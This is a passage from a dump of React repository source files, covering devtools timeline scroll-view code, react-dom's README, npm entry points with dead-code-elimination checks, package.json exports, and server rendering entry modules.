viewRefs.activeView = null;\n    }\n\n    if (this._isScrolling) {\n      this._isScrolling = false;\n      this.setNeedsDisplay();\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/vertical-scroll-overflow/VerticalScrollOverflowView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Rect} from '../geometry';\nimport type {ScrollState} from '../utils/scrollState';\nimport type {Surface} from '../Surface';\nimport type {ViewState} from '../../types';\n\nimport {VerticalScrollBarView} from './VerticalScrollBarView';\nimport {withVerticalScrollbarLayout} from './withVerticalScrollbarLayout';\nimport {View} from '../View';\nimport {VerticalScrollView} from '../VerticalScrollView';\n\nexport class VerticalScrollOverflowView extends View {\n  _contentView: View;\n  _isProcessingOnChange: boolean = false;\n  _isScrolling: boolean = false;\n  _scrollOffset: number = 0;\n  _scrollBarView: VerticalScrollBarView;\n  _verticalScrollView: VerticalScrollView;\n\n  constructor(\n    surface: Surface,\n    frame: Rect,\n    contentView: View,\n    viewState: ViewState,\n  ) {\n    super(surface, frame, withVerticalScrollbarLayout);\n\n    this._contentView = contentView;\n    this._verticalScrollView = new VerticalScrollView(\n      surface,\n      frame,\n      contentView,\n      viewState,\n      'VerticalScrollOverflowView',\n    );\n    this._verticalScrollView.onChange(this._onVerticalScrollViewChange);\n\n    this._scrollBarView = new VerticalScrollBarView(surface, frame, this);\n\n    this.addSubview(this._verticalScrollView);\n    this.addSubview(this._scrollBarView);\n  }\n\n  layoutSubviews() {\n    super.layoutSubviews();\n\n    const contentSize = this._contentView.desiredSize();\n\n    // This should be done after calling super.layoutSubviews() – calling it\n    // before somehow causes _contentView to need display on every mousemove\n    // event when the scroll bar is shown.\n    this._scrollBarView.setContentHeight(contentSize.height);\n  }\n\n  setScrollOffset(newScrollOffset: number, maxScrollOffset: number) {\n    const deltaY = newScrollOffset - this._scrollOffset;\n\n    if (!this._isProcessingOnChange) {\n      this._verticalScrollView.scrollBy(-deltaY);\n    }\n\n    this._scrollOffset = newScrollOffset;\n\n    this.setNeedsDisplay();\n  }\n\n  _onVerticalScrollViewChange: (\n    scrollState: ScrollState,\n    containerLength: number,\n  ) => void = (scrollState: ScrollState, containerLength: number) => {\n    const maxOffset = scrollState.length - containerLength;\n    if (maxOffset === 0) {\n      return;\n    }\n\n    const percentage = Math.abs(scrollState.offset) / maxOffset;\n    const maxScrollThumbY = this._scrollBarView.getMaxScrollThumbY();\n\n    this._isProcessingOnChange = true;\n    this._scrollBarView.setScrollThumbY(percentage * maxScrollThumbY);\n    this._isProcessingOnChange = false;\n  };\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/vertical-scroll-overflow/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './VerticalScrollBarView';\nexport * from './VerticalScrollOverflowView';\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/vertical-scroll-overflow/withVerticalScrollbarLayout.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {LayoutInfo, Layouter} from '../layouter';\n\n/**\n * Assumes {@param layout} will only contain 2 views.\n */\nexport const withVerticalScrollbarLayout: Layouter = (\n  layout,\n  containerFrame,\n) => {\n  const [contentLayoutInfo, scrollbarLayoutInfo] = layout;\n\n  const desiredContentSize = contentLayoutInfo.view.desiredSize();\n  const shouldShowScrollbar =\n    desiredContentSize.height > containerFrame.size.height;\n  const scrollbarWidth = shouldShowScrollbar\n    ? scrollbarLayoutInfo.view.desiredSize().width\n    : 0;\n\n  const laidOutContentLayoutInfo: LayoutInfo = {\n    ...contentLayoutInfo,\n    frame: {\n      origin: contentLayoutInfo.view.frame.origin,\n      size: {\n        width: containerFrame.size.width - scrollbarWidth,\n        height: containerFrame.size.height,\n      },\n    },\n  };\n  const laidOutScrollbarLayoutInfo: LayoutInfo = {\n    ...scrollbarLayoutInfo,\n    frame: {\n      origin: {\n        x:\n          laidOutContentLayoutInfo.frame.origin.x +\n          laidOutContentLayoutInfo.frame.size.width,\n        y: containerFrame.origin.y,\n      },\n      size: {\n        width: scrollbarWidth,\n        height: containerFrame.size.height,\n      },\n    },\n  };\n\n  return [laidOutContentLayoutInfo, laidOutScrollbarLayoutInfo];\n};\n"
  },
  {
    "path": "packages/react-dom/README.md",
    "content": "# `react-dom`\n\nThis package serves as the entry point to the DOM and server renderers for React. It is intended to be paired with the generic React package, which is shipped as `react` to npm.\n\n## Installation\n\n```sh\nnpm install react react-dom\n```\n\n## Usage\n\n### In the browser\n\n```js\nimport { createRoot } from 'react-dom/client';\n\nfunction App() {\n  return <div>Hello World</div>;\n}\n\nconst root = createRoot(document.getElementById('root'));\nroot.render(<App />);\n```\n\n### On the server\n\n```js\nimport { renderToPipeableStream } from 'react-dom/server';\n\nfunction App() {\n  return <div>Hello World</div>;\n}\n\nfunction handleRequest(res) {\n  // ... in your server handler ...\n  const stream = renderToPipeableStream(<App />, {\n    onShellReady() {\n      res.statusCode = 200;\n      res.setHeader('Content-type', 'text/html');\n      stream.pipe(res);\n    },\n    // ...\n  });\n}\n```\n\n## API\n\n### `react-dom`\n\nSee https://react.dev/reference/react-dom\n\n### `react-dom/client`\n\nSee https://react.dev/reference/react-dom/client\n\n### `react-dom/server`\n\nSee https://react.dev/reference/react-dom/server\n"
  },
  {
    "path": "packages/react-dom/client.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {createRoot, hydrateRoot, version} from './src/client/ReactDOMClient';\n"
  },
  {
    "path": "packages/react-dom/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default as __DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE} from './src/ReactDOMSharedInternals';\nexport {\n  createPortal,\n  flushSync,\n  prefetchDNS,\n  preconnect,\n  preload,\n  preloadModule,\n  preinit,\n  preinitModule,\n  requestFormReset,\n  unstable_batchedUpdates,\n  useFormState,\n  useFormStatus,\n  version,\n} from './src/shared/ReactDOM';\n"
  },
  {
    "path": "packages/react-dom/npm/client.js",
    "content": "'use strict';\n\nfunction checkDCE() {\n  /* global __REACT_DEVTOOLS_GLOBAL_HOOK__ */\n  if (\n    typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ === 'undefined' ||\n    typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE !== 'function'\n  ) {\n    return;\n  }\n  if (process.env.NODE_ENV !== 'production') {\n    // This branch is unreachable because this function is only called\n    // in production, but the condition is true only in development.\n    // Therefore if the branch is still here, dead code elimination wasn't\n    // properly applied.\n    // Don't change the message. React DevTools relies on it. Also make sure\n    // this message doesn't occur elsewhere in this function, or it will cause\n    // a false positive.\n    throw new Error('^_^');\n  }\n  try {\n    // Verify that the code above has been dead code eliminated (DCE'd).\n    __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(checkDCE);\n  } catch (err) {\n    // DevTools shouldn't crash React, no matter what.\n    // We should still report in case we break this code.\n    console.error(err);\n  }\n}\n\nif (process.env.NODE_ENV === 'production') {\n  // DCE check should happen before ReactDOM bundle executes so that\n  // DevTools can report bad minification during injection.\n  checkDCE();\n  module.exports = require('./cjs/react-dom-client.production.js');\n} else {\n  module.exports = require('./cjs/react-dom-client.development.js');\n}\n"
  },
  {
    "path": "packages/react-dom/npm/client.react-server.js",
    "content": "'use strict';\n\nthrow new Error(\n  'react-dom/client is not supported in React Server Components.'\n);\n"
  },
  {
    "path": "packages/react-dom/npm/index.js",
    "content": "'use strict';\n\nfunction checkDCE() {\n  /* global __REACT_DEVTOOLS_GLOBAL_HOOK__ */\n  if (\n    typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ === 'undefined' ||\n    typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE !== 'function'\n  ) {\n    return;\n  }\n  if (process.env.NODE_ENV !== 'production') {\n    // This branch is unreachable because this function is only called\n    // in production, but the condition is true only in development.\n    // Therefore if the branch is still here, dead code elimination wasn't\n    // properly applied.\n    // Don't change the message. React DevTools relies on it. Also make sure\n    // this message doesn't occur elsewhere in this function, or it will cause\n    // a false positive.\n    throw new Error('^_^');\n  }\n  try {\n    // Verify that the code above has been dead code eliminated (DCE'd).\n    __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(checkDCE);\n  } catch (err) {\n    // DevTools shouldn't crash React, no matter what.\n    // We should still report in case we break this code.\n    console.error(err);\n  }\n}\n\nif (process.env.NODE_ENV === 'production') {\n  // DCE check should happen before ReactDOM bundle executes so that\n  // DevTools can report bad minification during injection.\n  checkDCE();\n  module.exports = require('./cjs/react-dom.production.js');\n} else {\n  module.exports = require('./cjs/react-dom.development.js');\n}\n"
  },
  {
    "path": "packages/react-dom/npm/profiling.js",
    "content": "'use strict';\n\nfunction checkDCE() {\n  /* global __REACT_DEVTOOLS_GLOBAL_HOOK__ */\n  if (\n    typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ === 'undefined' ||\n    typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE !== 'function'\n  ) {\n    return;\n  }\n  if (process.env.NODE_ENV !== 'production') {\n    // This branch is unreachable because this function is only called\n    // in production, but the condition is true only in development.\n    // Therefore if the branch is still here, dead code elimination wasn't\n    // properly applied.\n    // Don't change the message. React DevTools relies on it. Also make sure\n    // this message doesn't occur elsewhere in this function, or it will cause\n    // a false positive.\n    throw new Error('^_^');\n  }\n  try {\n    // Verify that the code above has been dead code eliminated (DCE'd).\n    __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(checkDCE);\n  } catch (err) {\n    // DevTools shouldn't crash React, no matter what.\n    // We should still report in case we break this code.\n    console.error(err);\n  }\n}\n\nif (process.env.NODE_ENV === 'production') {\n  // DCE check should happen before ReactDOM bundle executes so that\n  // DevTools can report bad minification during injection.\n  checkDCE();\n  module.exports = require('./cjs/react-dom-profiling.profiling.js');\n} else {\n  module.exports = require('./cjs/react-dom-profiling.development.js');\n}\n"
  },
  {
    "path": "packages/react-dom/npm/profiling.react-server.js",
    "content": "'use strict';\n\nthrow new Error(\n  'react-dom/profiling is not supported in React Server Components.'\n);\n"
  },
  {
    "path": "packages/react-dom/npm/react-dom.react-server.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-dom.react-server.production.js');\n} else {\n  module.exports = require('./cjs/react-dom.react-server.development.js');\n}\n"
  },
  {
    "path": "packages/react-dom/npm/server.browser.js",
    "content": "'use strict';\n\nvar l, s;\nif (process.env.NODE_ENV === 'production') {\n  l = require('./cjs/react-dom-server-legacy.browser.production.js');\n  s = require('./cjs/react-dom-server.browser.production.js');\n} else {\n  l = require('./cjs/react-dom-server-legacy.browser.development.js');\n  s = require('./cjs/react-dom-server.browser.development.js');\n}\n\nexports.version = l.version;\nexports.renderToString = l.renderToString;\nexports.renderToStaticMarkup = l.renderToStaticMarkup;\nexports.renderToReadableStream = s.renderToReadableStream;\nexports.resume = s.resume;\n"
  },
  {
    "path": "packages/react-dom/npm/server.bun.js",
    "content": "'use strict';\n\nvar b;\nvar l;\nif (process.env.NODE_ENV === 'production') {\n  b = require('./cjs/react-dom-server.bun.production.js');\n  l = require('./cjs/react-dom-server-legacy.browser.production.js');\n} else {\n  b = require('./cjs/react-dom-server.bun.development.js');\n  l = require('./cjs/react-dom-server-legacy.browser.development.js');\n}\n\nexports.version = b.version;\nexports.renderToReadableStream = b.renderToReadableStream;\nexports.renderToPipeableStream = b.renderToPipeableStream;\nexports.resumeToPipeableStream = b.resumeToPipeableStream;\nexports.resume = b.resume;\nexports.renderToString = l.renderToString;\nexports.renderToStaticMarkup = l.renderToStaticMarkup;\n"
  },
  {
    "path": "packages/react-dom/npm/server.edge.js",
    "content": "'use strict';\n\nvar b;\nvar l;\nif (process.env.NODE_ENV === 'production') {\n  b = require('./cjs/react-dom-server.edge.production.js');\n  l = require('./cjs/react-dom-server-legacy.browser.production.js');\n} else {\n  b = require('./cjs/react-dom-server.edge.development.js');\n  l = require('./cjs/react-dom-server-legacy.browser.development.js');\n}\n\nexports.version = b.version;\nexports.renderToReadableStream = b.renderToReadableStream;\nexports.renderToString = l.renderToString;\nexports.renderToStaticMarkup = l.renderToStaticMarkup;\nexports.resume = b.resume;\n"
  },
  {
    "path": "packages/react-dom/npm/server.js",
    "content": "'use strict';\n\nmodule.exports = require('./server.node');\n"
  },
  {
    "path": "packages/react-dom/npm/server.node.js",
    "content": "'use strict';\n\nvar l, s;\nif (process.env.NODE_ENV === 'production') {\n  l = require('./cjs/react-dom-server-legacy.node.production.js');\n  s = require('./cjs/react-dom-server.node.production.js');\n} else {\n  l = require('./cjs/react-dom-server-legacy.node.development.js');\n  s = require('./cjs/react-dom-server.node.development.js');\n}\n\nexports.version = l.version;\nexports.renderToString = l.renderToString;\nexports.renderToStaticMarkup = l.renderToStaticMarkup;\nexports.renderToPipeableStream = s.renderToPipeableStream;\nexports.renderToReadableStream = s.renderToReadableStream;\nexports.resumeToPipeableStream = s.resumeToPipeableStream;\nexports.resume = s.resume;\n"
  },
  {
    "path": "packages/react-dom/npm/server.react-server.js",
    "content": "'use strict';\n\nthrow new Error(\n  'react-dom/server is not supported in React Server Components.'\n);\n"
  },
  {
    "path": "packages/react-dom/npm/static.browser.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-dom-server.browser.production.js');\n} else {\n  s = require('./cjs/react-dom-server.browser.development.js');\n}\n\nexports.version = s.version;\nexports.prerender = s.prerender;\nexports.resumeAndPrerender = s.resumeAndPrerender;\n"
  },
  {
    "path": "packages/react-dom/npm/static.edge.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-dom-server.edge.production.js');\n} else {\n  s = require('./cjs/react-dom-server.edge.development.js');\n}\n\nexports.version = s.version;\nexports.prerender = s.prerender;\nexports.resumeAndPrerender = s.resumeAndPrerender;\n"
  },
  {
    "path": "packages/react-dom/npm/static.js",
    "content": "'use strict';\n\nmodule.exports = require('./static.node');\n"
  },
  {
    "path": "packages/react-dom/npm/static.node.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-dom-server.node.production.js');\n} else {\n  s = require('./cjs/react-dom-server.node.development.js');\n}\n\nexports.version = s.version;\nexports.prerenderToNodeStream = s.prerenderToNodeStream;\nexports.prerender = s.prerender;\nexports.resumeAndPrerenderToNodeStream = s.resumeAndPrerenderToNodeStream;\nexports.resumeAndPrerender = s.resumeAndPrerender;\n"
  },
  {
    "path": "packages/react-dom/npm/static.react-server.js",
    "content": "'use strict';\n\nthrow new Error(\n  'react-dom/static is not supported in React Server Components.'\n);\n"
  },
  {
    "path": "packages/react-dom/npm/test-utils.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-dom-test-utils.production.js');\n} else {\n  module.exports = require('./cjs/react-dom-test-utils.development.js');\n}\n"
  },
  {
    "path": "packages/react-dom/npm/unstable_testing.js",
    "content": "'use strict';\n\nfunction checkDCE() {\n  /* global __REACT_DEVTOOLS_GLOBAL_HOOK__ */\n  if (\n    typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ === 'undefined' ||\n    typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE !== 'function'\n  ) {\n    return;\n  }\n  if (process.env.NODE_ENV !== 'production') {\n    // This branch is unreachable because this function is only called\n    // in production, but the condition is true only in development.\n    // Therefore if the branch is still here, dead code elimination wasn't\n    // properly applied.\n    // Don't change the message. React DevTools relies on it. Also make sure\n    // this message doesn't occur elsewhere in this function, or it will cause\n    // a false positive.\n    throw new Error('^_^');\n  }\n  try {\n    // Verify that the code above has been dead code eliminated (DCE'd).\n    __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(checkDCE);\n  } catch (err) {\n    // DevTools shouldn't crash React, no matter what.\n    // We should still report in case we break this code.\n    console.error(err);\n  }\n}\n\nif (process.env.NODE_ENV === 'production') {\n  // DCE check should happen before ReactDOM bundle executes so that\n  // DevTools can report bad minification during injection.\n  checkDCE();\n  module.exports = require('./cjs/react-dom-unstable_testing.production.js');\n} else {\n  module.exports = require('./cjs/react-dom-unstable_testing.development.js');\n}\n"
  },
  {
    "path": "packages/react-dom/npm/unstable_testing.react-server.js",
    "content": "'use strict';\n\nthrow new Error(\n  'react-dom/unstable_testing is not supported in React Server Components.'\n);\n"
  },
  {
    "path": "packages/react-dom/package.json",
    "content": "{\n  \"name\": \"react-dom\",\n  \"version\": \"19.3.0\",\n  \"description\": \"React package for working with the DOM.\",\n  \"main\": \"index.js\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-dom\"\n  },\n  \"keywords\": [\n    \"react\"\n  ],\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/facebook/react/issues\"\n  },\n  \"homepage\": \"https://react.dev/\",\n  \"dependencies\": {\n    \"scheduler\": \"^0.28.0\"\n  },\n  \"peerDependencies\": {\n    \"react\": \"^19.3.0\"\n  },\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"client.js\",\n    \"client.react-server.js\",\n    \"index.js\",\n    \"profiling.js\",\n    \"profiling.react-server.js\",\n    \"react-dom.react-server.js\",\n    \"server.browser.js\",\n    \"server.bun.js\",\n    \"server.edge.js\",\n    \"server.js\",\n    \"server.node.js\",\n    \"server.react-server.js\",\n    \"static.browser.js\",\n    \"static.edge.js\",\n    \"static.js\",\n    \"static.node.js\",\n    \"static.react-server.js\",\n    \"test-utils.js\",\n    \"unstable_testing.js\",\n    \"unstable_testing.react-server.js\",\n    \"unstable_server-external-runtime.js\",\n    \"cjs/\"\n  ],\n  \"exports\": {\n    \".\": {\n      \"react-server\": \"./react-dom.react-server.js\",\n      \"default\": \"./index.js\"\n    },\n    \"./client\": {\n      \"react-server\": \"./client.react-server.js\",\n      \"default\": \"./client.js\"\n    },\n    \"./server\": {\n      \"react-server\": \"./server.react-server.js\",\n      \"workerd\": \"./server.edge.js\",\n      \"bun\": \"./server.bun.js\",\n      \"deno\": \"./server.node.js\",\n      \"worker\": \"./server.browser.js\",\n      \"node\": \"./server.node.js\",\n      \"edge-light\": \"./server.edge.js\",\n      \"browser\": \"./server.browser.js\",\n      \"default\": \"./server.node.js\"\n    },\n    \"./server.browser\": {\n      \"react-server\": \"./server.react-server.js\",\n      \"default\": \"./server.browser.js\"\n    },\n    \"./server.bun\": {\n      \"react-server\": \"./server.react-server.js\",\n      \"default\": \"./server.bun.js\"\n    },\n    \"./server.edge\": {\n      \"react-server\": \"./server.react-server.js\",\n      \"default\": \"./server.edge.js\"\n    },\n    \"./server.node\": {\n      \"react-server\": \"./server.react-server.js\",\n      \"default\": \"./server.node.js\"\n    },\n    \"./static\": {\n      \"react-server\": \"./static.react-server.js\",\n      \"workerd\": \"./static.edge.js\",\n      \"deno\": \"./static.browser.js\",\n      \"worker\": \"./static.browser.js\",\n      \"node\": \"./static.node.js\",\n      \"edge-light\": \"./static.edge.js\",\n      \"browser\": \"./static.browser.js\",\n      \"default\": \"./static.node.js\"\n    },\n    \"./static.browser\": {\n      \"react-server\": \"./static.react-server.js\",\n      \"default\": \"./static.browser.js\"\n    },\n    \"./static.edge\": {\n      \"react-server\": \"./static.react-server.js\",\n      \"default\": \"./static.edge.js\"\n    },\n    \"./static.node\": {\n      \"react-server\": \"./static.react-server.js\",\n      \"default\": \"./static.node.js\"\n    },\n    \"./profiling\": {\n      \"react-server\": \"./profiling.react-server.js\",\n      \"default\": \"./profiling.js\"\n    },\n    \"./test-utils\": \"./test-utils.js\",\n    \"./unstable_testing\": {\n      \"react-server\": \"./unstable_testing.react-server.js\",\n      \"default\": \"./unstable_testing.js\"\n    },\n    \"./unstable_server-external-runtime\": \"./unstable_server-external-runtime.js\",\n    \"./src/*\": \"./src/*\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"browser\": {\n    \"./server.js\": \"./server.browser.js\",\n    \"./static.js\": \"./static.browser.js\"\n  }\n}\n"
  },
  {
    "path": "packages/react-dom/profiling.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This entrypoint should track the /client entrypoint\nexport * from './client';\nexport * from './index';\n"
  },
  {
    "path": "packages/react-dom/server.browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// This file is only used for tests.\n// It lazily loads the implementation so that we get the correct set of host configs.\n\nimport ReactVersion from 'shared/ReactVersion';\nexport {ReactVersion as version};\n\nexport function renderToString() {\n  return require('./src/server/ReactDOMLegacyServerBrowser').renderToString.apply(\n    this,\n    arguments,\n  );\n}\nexport function renderToStaticMarkup() {\n  return require('./src/server/ReactDOMLegacyServerBrowser').renderToStaticMarkup.apply(\n    this,\n    arguments,\n  );\n}\n\nexport function renderToReadableStream() {\n  return require('./src/server/react-dom-server.browser').renderToReadableStream.apply(\n    this,\n    arguments,\n  );\n}\n\nexport function resume() {\n  return require('./src/server/react-dom-server.browser').resume.apply(\n    this,\n    arguments,\n  );\n}\n"
  },
  {
    "path": "packages/react-dom/server.bun.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// This file is only used for tests.\n// It lazily loads the implementation so that we get the correct set of host configs.\n\nimport ReactVersion from 'shared/ReactVersion';\nexport {ReactVersion as version};\n\nexport function renderToReadableStream() {\n  return require('./src/server/react-dom-server.bun').renderToReadableStream.apply(\n    this,\n    arguments,\n  );\n}\n\nexport function renderToString() {\n  return require('./src/server/ReactDOMLegacyServerBrowser').renderToString.apply(\n    this,\n    arguments,\n  );\n}\n\nexport function renderToStaticMarkup() {\n  return require('./src/server/ReactDOMLegacyServerBrowser').renderToStaticMarkup.apply(\n    this,\n    arguments,\n  );\n}\n\nexport function resume() {\n  return require('./src/server/react-dom-server.bun').resume.apply(\n    this,\n    arguments,\n  );\n}\n\nexport function renderToPipeableStream() {\n  return require('./src/server/react-dom-server.bun').renderToPipeableStream.apply(\n    this,\n    arguments,\n  );\n}\n\nexport function resumeToPipeableStream() {\n  return require('./src/server/react-dom-server.bun').resumeToPipeableStream.apply(\n    this,\n    arguments,\n  );\n}\n"
  },
  {
    "path": "packages/react-dom/server.edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// This file is only used for tests.\n// It lazily loads the implementation so that we get the correct set of host configs.\n\nimport ReactVersion from 'shared/ReactVersion';\nexport {ReactVersion as version};\n\nexport function renderToReadableStream() {\n  return require('./src/server/react-dom-server.edge').renderToReadableStream.apply(\n    this,\n    arguments,\n  );\n}\n\nexport function renderToString() {\n  return require('./src/server/ReactDOMLegacyServerBrowser').renderToString.apply(\n    this,\n    arguments,\n  );\n}\n\nexport function renderToStaticMarkup() {\n  return require('./src/server/ReactDOMLegacyServerBrowser').renderToStaticMarkup.apply(\n    this,\n    arguments,\n  );\n}\n\nexport function resume() {\n  return require('./src/server/react-dom-server.edge').resume.apply(\n    this,\n    arguments,\n  );\n}\n"
  },
  {
    "path": "packages/react-dom/server.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './server.node';\n"
  },
  {
    "path": "packages/react-dom/server.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// This file is only used for tests.\n// It lazily loads the implementation so that we get the correct set of host configs.\n\nimport ReactVersion from 'shared/ReactVersion';\nexport {ReactVersion as version};\n\nexport function renderToString() {\n  return require('./src/server/ReactDOMLegacyServerNode').renderToString.apply(\n    this,\n    arguments,\n  );\n}\nexport function renderToStaticMarkup() {\n  return require('./src/server/ReactDOMLegacyServerNode').renderToStaticMarkup.apply(\n    this,\n    arguments,\n  );\n}\n\nexport function renderToPipeableStream() {\n  return require('./src/server/react-dom-server.node').renderToPipeableStream.apply(\n    this,\n    arguments,\n  );\n}\n\nexport function resumeToPipeableStream() {\n  return require('./src/server/react-dom-server.node').resumeToPipeableStream.apply(\n    this,\n    arguments,\n  );\n}\n\nexport function renderToReadableStream() {\n  return require('./src/server/react-dom-server.node').renderToReadableStream.apply(\n    this,\n    arguments,\n  );\n}\n\nexport function resume() {\n  return require('./src/server/react-dom-server.node').resume.apply(\n    this,\n    arguments,\n  );\n}\n"
  },
  {
    "path": "packages/react-dom/src/ReactDOMFB.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {isEnabled} from 'react-dom-bindings/src/events/ReactDOMEventListener';\n\nimport Internals from './ReactDOMSharedInternalsFB';\n\n// For classic WWW builds, include a few internals that are already in use.\nObject.assign((Internals: any), {\n  ReactBrowserEventEmitter: {\n    isEnabled,\n  },\n});\n\nexport {Internals as __DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE};\n\nexport {\n  createPortal,\n  flushSync,\n  unstable_createEventHandle,\n  unstable_runWithPriority, // DO NOT USE: Temporarily exposed to migrate off of Scheduler.runWithPriority.\n  useFormStatus,\n  useFormState,\n  requestFormReset,\n  prefetchDNS,\n  preconnect,\n  preload,\n  preloadModule,\n  preinit,\n  preinitModule,\n  version,\n} from './client/ReactDOMClientFB';\n\nexport {\n  createRoot,\n  hydrateRoot,\n  render,\n  unstable_batchedUpdates,\n  findDOMNode,\n  unmountComponentAtNode,\n} from './client/ReactDOMRootFB';\n"
  },
  {
    "path": "packages/react-dom/src/ReactDOMFB.modern.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default as __DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE} from './ReactDOMSharedInternalsFB';\n\nexport {\n  createPortal,\n  flushSync,\n  unstable_batchedUpdates,\n  unstable_createEventHandle,\n  unstable_runWithPriority, // DO NOT USE: Temporarily exposed to migrate off of Scheduler.runWithPriority.\n  useFormStatus,\n  useFormState,\n  requestFormReset,\n  prefetchDNS,\n  preconnect,\n  preload,\n  preloadModule,\n  preinit,\n  preinitModule,\n  version,\n} from './client/ReactDOMClientFB';\n\nexport {createRoot, hydrateRoot} from './client/ReactDOMRootFB';\n"
  },
  {
    "path": "packages/react-dom/src/ReactDOMReactServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This is the subset of APIs that can be accessed from Server Component modules\n\nimport ReactVersion from 'shared/ReactVersion';\nexport {ReactVersion as version};\n\nexport {default as __DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE} from './ReactDOMSharedInternals';\nexport {\n  prefetchDNS,\n  preconnect,\n  preload,\n  preloadModule,\n  preinit,\n  preinitModule,\n} from './shared/ReactDOMFloat';\n"
  },
  {
    "path": "packages/react-dom/src/ReactDOMSharedInternals.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {EventPriority} from 'react-reconciler/src/ReactEventPriorities';\nimport type {HostDispatcher} from './shared/ReactDOMTypes';\n\nimport noop from 'shared/noop';\n\n// This should line up with NoEventPriority from react-reconciler/src/ReactEventPriorities\n// but we can't depend on the react-reconciler from this isomorphic code.\nexport const NoEventPriority: EventPriority = (0: any);\n\ntype ReactDOMInternals = {\n  d /* ReactDOMCurrentDispatcher */: HostDispatcher,\n  p /* currentUpdatePriority */: EventPriority,\n  findDOMNode:\n    | null\n    | ((componentOrElement: component(...props: any)) => null | Element | Text),\n};\n\nfunction requestFormReset(element: HTMLFormElement) {\n  throw new Error(\n    'Invalid form element. requestFormReset must be passed a form that was ' +\n      'rendered by React.',\n  );\n}\n\nconst DefaultDispatcher: HostDispatcher = {\n  f /* flushSyncWork */: noop,\n  r /* requestFormReset */: requestFormReset,\n  D /* prefetchDNS */: noop,\n  C /* preconnect */: noop,\n  L /* preload */: noop,\n  m /* preloadModule */: noop,\n  X /* preinitScript */: noop,\n  S /* preinitStyle */: noop,\n  M /* preinitModuleScript */: noop,\n};\n\nconst Internals: ReactDOMInternals = {\n  d /* 